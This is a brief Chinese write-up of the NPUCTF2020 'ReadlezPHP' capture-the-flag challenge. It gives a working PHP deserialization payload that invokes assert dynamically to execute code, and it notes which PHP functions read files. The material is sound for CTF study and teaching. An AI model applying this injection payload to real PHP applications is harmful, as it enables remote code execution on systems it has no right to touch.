github编辑

[NPUCTF2020]ReadlezPHP

[NPUCTF2020]ReadlezPHP

考点

  • PHP反序列化

  • 动态调用函数函数

  • eval()特性

wp

有个页面time.php?source

访问后得到源码,是php反序列化

payload:time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}

小结

  1. 为什么不能用eval呢?因为eval是构造器,不算是个函数,不能使用$b($a)的方式调用

  2. 读取文件的函数:readfileshow_sourcehighlight_filefile_get_contents

最后更新于